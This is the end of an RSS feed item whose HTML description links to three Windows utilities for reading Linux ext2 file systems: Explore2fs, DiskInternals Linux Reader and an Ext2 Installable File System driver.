<P>Explore2fs： <A href="http://www.chrysocome.net/explore2fs" $included="null"><FONT color=#2e6ab1>http://www.chrysocome.net/explore2fs </FONT></A><BR>DiskInternals Linux Reader： <A href="http://www.diskinternals.com/linux-reader" $included="null"><FONT color=#2e6ab1>http://www.diskinternals.com/linux-reader </FONT></A><BR>Ext2 Installable File System For Windows： <A href="http://www.fs-driver.org/index.html" $included="null"><FONT color=#2e6ab1>http://www.fs-driver.org/index.html </FONT></A></P>]]></description>
</item>
</channel>
</rss>